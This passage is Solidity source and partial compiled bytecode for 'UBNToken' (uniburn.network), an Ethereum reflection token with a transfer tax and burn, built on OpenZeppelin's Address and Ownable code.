to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract UBNToken is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; string public constant name = 'uniburn.network'; string public constant symbol = 'UBN'; uint8 public constant decimals = 18; uint256 private constant _max = ~uint256(0); uint256 private constant _decimalfactor = 10 ** uint256(decimals); uint256 private constant _granularity = 100; address private constant _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _tTotal = 1000000 * _decimalfactor; uint256 private _tEnd = 100000 * _decimalfactor; uint256 private _rTotal = (_max - (_max % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; uint256 private _taxPercentage = 150; uint256 private _burnPercentage = 150; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != _unirouter, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function burnTokenManually(uint256 burnAmount) external onlyOwner(){ require (burnAmount > 0, "Burn amount must be greater than zero"); uint256 bAmount = burnAmount*_decimalfactor; _rOwned[_msgSender()] = _rOwned[_msgSender()].sub(bAmount); (,, uint256 rFee,, uint256 tFee,) = _getValues(bAmount); _updateValues(rFee, bAmount, tFee, bAmount); } function checkRates() public view returns(uint256, uint256){ return (_taxPercentage, _burnPercentage); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); //outside otherwise stacktodeep error uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _updateValues(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); //outside otherwise stacktodeep error uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _updateValues(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); //outside otherwise stacktodeep error uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _updateValues(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); //outside otherwise stacktodeep error uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _updateValues(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _updateValues(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); if (_tTotal <= _tEnd) { _taxPercentage = 300; _burnPercentage = 0; } } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxPercentage, _burnPercentage); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = ((tAmount.mul(taxFee)).div(_granularity)).div(100); uint256 tBurn = ((tAmount.mul(burnFee)).div(_granularity)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e9961461066b578063dd62ed3e146106c5578063f0abaabc1461073d578063f2cc0c181461076b578063f2fde38b146107af578063f84354f1146107f357610158565b8063715018a6146104bd5780638da5cb5b146104c757806395d89b41146104fb578063a197d2bf1461057e578063a457c2d7146105a3578063a9059cbb1461060757610158565b8063313ce56711610115578063313ce5671461034657806339509351146103675780633bd5d173146103cb5780633c9f861d146103f95780634549b0391461041757806370a082311461046557610158565b806306fdde031461015d578063095ea7b3146101e057806313114a9d1461024457806318160ddd1461026257806323b872dd146102805780632d83811914610304575b600080fd5b610165610837565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a557808201518184015260208101905061018a565b50505050905090810190601f1680156101d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61022c600480360360408110156101f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610870565b60405180821515815260200191505060405180910390f35b61024c61088e565b6040518082815260200191505060405180910390f35b61026a610898565b6040518082815260200191505060405180910390f35b6102ec6004803603606081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a2565b60405180821515815260200191505060405180910390f35b6103306004803603602081101561031a57600080fd5b810190808035906020019092919050505061097b565b6040518082815260200191505060405180910390f35b61034e6109ff565b604051808260ff16815260200191505060405180910390f35b6103b36004803603604081101561037d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a04565b60405180821515815260200191505060405180910390f35b6103f7600480360360208110156103e157600080fd5b8101908080359060200190929190505050610ab7565b005b610401610c48565b6040518082815260200191505060405180910390f35b61044f6004803603604081101561042d57600080fd5b8101908080359060200190929190803515159060200190929190505050610c52565b6040518082815260200191505060405180910390f35b6104a76004803603602081101561047b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d09565b6040518082815260200191505060405180910390f35b6104c5610df4565b005b6104cf610f7a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610503610fa3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610543578082015181840152602081019050610528565b50505050905090810190601f1680156105705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610586610fdc565b604051808381526020018281526020019250505060405180910390f35b6105ef600480360360408110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fed565b60405180821515815260200191505060405180910390f35b6106536004803603604081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ba565b60405180821515815260200191505060405180910390f35b6106ad6004803603602081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d8565b60405180821515815260200191505060405180910390f35b610727600480360360408110156106db57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061112e565b6040518082815260200191505060405180910390f35b6107696004803603602081101561075357600080fd5b81019080803590602001909291905050506111b5565b005b6107ad6004803603602081101561078157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113ad565b005b6107f1600480360360208110156107c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611760565b005b6108356004803603602081101561080957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061196b565b005b6040518060400160405280600f81526020017f756e696275726e2e6e6574776f726b000000000000000000000000000000000081525081565b600061088461087d611cf5565b8484611cfd565b6001905092915050565b6000600954905090565b6000600654905090565b60006108af848484611ef4565b610970846108bb611cf5565b61096b8560405180606001604052806028815260200161365360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610921611cf5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234d9092919063ffffffff16565b611cfd565b600190509392505050565b60006008548211156109d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061359b602a913960400191505060405180910390fd5b60006109e261240d565b90506109f7818461243890919063ffffffff16565b915050919050565b601281565b6000610aad610a11611cf5565b84610aa88560036000610a22611cf5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248290919063ffffffff16565b611cfd565b6001905092915050565b6000610ac1611cf5565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c81526020018061370f602c913960400191505060405180910390fd5b6000610b718361250a565b50505050509050610bca81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c228160085461257290919063ffffffff16565b600881905550610c3d8360095461248290919063ffffffff16565b600981905550505050565b6000600a54905090565b6000600654831115610ccc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81610cec576000610cdc8461250a565b5050505050905080915050610d03565b6000610cf78461250a565b50505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610da457600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610def565b610dec600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461097b565b90505b919050565b610dfc611cf5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600381526020017f55424e000000000000000000000000000000000000000000000000000000000081525081565b600080600b54600c54915091509091565b60006110b0610ffa611cf5565b846110ab8560405180606001604052806025815260200161373b6025913960036000611024611cf5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461234d9092919063ffffffff16565b611cfd565b6001905092915050565b60006110ce6110c7611cf5565b8484611ef4565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111bd611cf5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600081116112d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061360d6025913960400191505060405180910390fd5b6000601260ff16600a0a8202905061133d81600160006112f4611cf5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257290919063ffffffff16565b60016000611349611cf5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806113938361250a565b50945050935050506113a7828483866125bc565b50505050565b6113b5611cf5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561150e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806136ed6022913960400191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115ce576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156116a25761165e600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461097b565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611768611cf5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611828576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806135c56026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611973611cf5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611af2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611cf1578173ffffffffffffffffffffffffffffffffffffffff1660058281548110611b2657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ce457600560016005805490500381548110611b8257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611bba57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611caa57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611cf1565b8080600101915050611af5565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806136c96024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e09576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806135eb6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136a46025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612000576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135786023913960400191505060405180910390fd5b60008111612059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061367b6029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156120fc5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121115761210c83838361265d565b612348565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121b45750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156121c9576121c48383836128db565b612347565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561226d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156122825761227d838383612b59565b612346565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123245750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561233957612334838383612d42565b612345565b612344838383612b59565b5b5b5b5b505050565b60008383111582906123fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123bf5780820151818401526020810190506123a4565b50505050905090810190601f1680156123ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392